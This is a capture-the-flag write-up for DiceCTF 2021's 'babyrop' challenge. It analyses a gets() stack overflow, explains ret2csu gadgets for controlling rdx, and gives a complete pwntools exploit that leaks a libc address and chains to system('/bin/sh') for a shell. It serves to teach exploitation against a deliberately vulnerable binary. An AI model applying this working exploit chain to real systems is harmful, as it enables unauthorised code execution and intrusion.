## Challenge
"FizzBuzz101: Who wants to write a ret2libc"
`nc dicec.tf 31924`
[babyrop](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/babyrop/babyrop)
## Recon
```shell$ file babyropbabyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a721f8e2550d74dddcaae7e8754bff9095e3488d, for GNU/Linux 3.2.0, not stripped```
```shell$ checksec babyrop[*] '/root/Dropbox/CTF/DiceCTF/2021/Pwn/babyrop/babyrop'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique, such as **ret2libc**. But the challenge descriptions clearly says this isn't about ret2libc, so there must be some nuance here.
## Pseudocode
`main`:
```cint __cdecl main(int argc, const char **argv, const char **envp){  char v4; // [rsp+0h] [rbp-40h]
  write(1, "Your name: ", 0xBuLL);  gets(&v4;;  return 0;}```
## Analysis
This challenge looks like a typical ret2libc (with ret2write), **but we don't have the ability to control `rdx`**. To leak the address of `write@GOT` from libc, we have to call something like `write(1, write_got, 8)`. But the lack of control on `rdx` makes address leakage impossible, so **ret2libc fails for this challenge**.
In such case, we should try **ret2csu**.
Disassemble the target binary:
```shell$ objdump -M intel -d babyrop > disassembly.asm```
Examine the CSU gadgets from disassembly:
**CSU gadget 1:**
```assembly  4011ca:	5b                   	pop    rbx  4011cb:	5d                   	pop    rbp  4011cc:	41 5c                	pop    r12  4011ce:	41 5d                	pop    r13  4011d0:	41 5e                	pop    r14  4011d2:	41 5f                	pop    r15  4011d4:	c3                   	ret```
This CSU gadget helps us set up the values in:
- `rbx`- `rbp`- `r12`- `r13`- `r14`- `r15`
However, this isn't enough because we only care about setting up `rdx`, hence we need another CSU gadget.
**CSU gadget 2:**
```assembly  4011b0:	4c 89 f2             	mov    rdx,r14  4011b3:	4c 89 ee             	mov    rsi,r13  4011b6:	44 89 e7             	mov    edi,r12d  4011b9:	41 ff 14 df          	call   QWORD PTR [r15+rbx*8]  4011bd:	48 83 c3 01          	add    rbx,0x1  4011c1:	48 39 dd             	cmp    rbp,rbx  4011c4:	75 ea                	jne    4011b0 <__libc_csu_init+0x40>  4011c6:	48 83 c4 08          	add    rsp,0x8  4011ca:	5b                   	pop    rbx  4011cb:	5d                   	pop    rbp  4011cc:	41 5c                	pop    r12  4011ce:	41 5d                	pop    r13  4011d0:	41 5e                	pop    r14  4011d2:	41 5f                	pop    r15  4011d4:	c3                   	ret```
The essence in this CSU gadget is `mov rdx,r14`, which allows us to control the value in `rdx` eventually.
The idea is:
1. **Push a series of carefully prepared values onto the stack.**2. **Call CSU gadget 1 => the values that we pushed onto the stack get popped into each register. In particular, we want `r14 = 8`.**3. **Call CSU gadget 2 => `mov rdx,r14` sets `rdx = 8`.**
But be careful:
1. **CSU gadget 2 contains an instruction `cmp rbp,rbx`. Right before it, there is `add    rbx,0x1`. Therefore, to bypass this check, we can simply set `rbx=0` and `rbp=1`.**2. **CSU gadget 2 and CSU gadget 1 share the exactly same `ret` instruction. When calling CSU gadget 2, we want it to reach that `ret` as well. Here we can pass some junk values `b"B" * 56` to overwrite the content between `0x4011c6` and `0x4011d2` (the overlapped CSU gadget 1 content). There are 7 instructions, each of them is 8-byte long, so we need 56 bytes of junk values in total.**
## Exploit
```python=1#!/usr/bin/env python3from pwn import *
#-------------## Preparation |#-------------#
# Remote serverhost = "dicec.tf"port = 31924
# Binary filecontext.arch = "amd64"elf = ELF("babyrop", checksec=False)
# Fuzzingoffset = 72
# Local vs. remote switchlocal = Falseif local: 	r = elf.process()else:	r = remote(host, port)
#-------------------------------------## Step 1: Leak write_got with ret2csu |#-------------------------------------#
# Function addresseswrite_got = elf.got["write"]main = elf.sym["main"]
# CSU gadgetscsu1 = 0x4011cacsu2 = 0x4011b0
# Helper function for generating ret2csu payloaddef csu(rbx, rbp, r12, r13, r14, r15, ret):	payload = flat(		b"A" * offset,		csu1, rbx, rbp, r12, r13, r14, r15,		# r12 = rdi; r13 = rsi; r14 = rdx		csu2,		b"B" * 56,		ret,	)
	return payload
# Call write(rdi=1, rsi=write.got, rdx=8)payload1 = csu(rbx=0, rbp=1, r12=1, r13=write_got, r14=8, r15=write_got, ret=main)
# Leak write@GOT address from libcr.sendlineafter("Your name: ", payload1)write_leak = u64(r.read(6).ljust(8, b"\x00"))log.info(f"write_leak: {hex(write_leak)}") # [*] write_leak: 0x7f1c2d4df1d0
#-----------------------------------------## Step 2: Search offsets in libc database |#-----------------------------------------#
# Search the offset of "write" in libc database and compute libc base addresswrite_offset = 0x1111d0libc_base = write_leak - write_offsetsystem = libc_base + 0x055410bin_sh = libc_base + 0x1b75aa
#----------------------## Step 3: Get shell!!! |#----------------------#
# ROPgadget --binary babyrop --only "pop|ret" | grep rdipop_rdi = 0x00000000004011d3# ROPgadget --binary babyrop --only "ret"ret = 0x000000000040101a
payload2 = flat(	b"A" * offset,	pop_rdi, bin_sh,	ret, system,)
r.sendlineafter("Your name: ", payload2)r.interactive()```
## Flag
```plaintextdice{so_let's_just_pretend_rop_between_you_and_me_was_never_meant_b1b585695bdd0bcf2d144b4b}```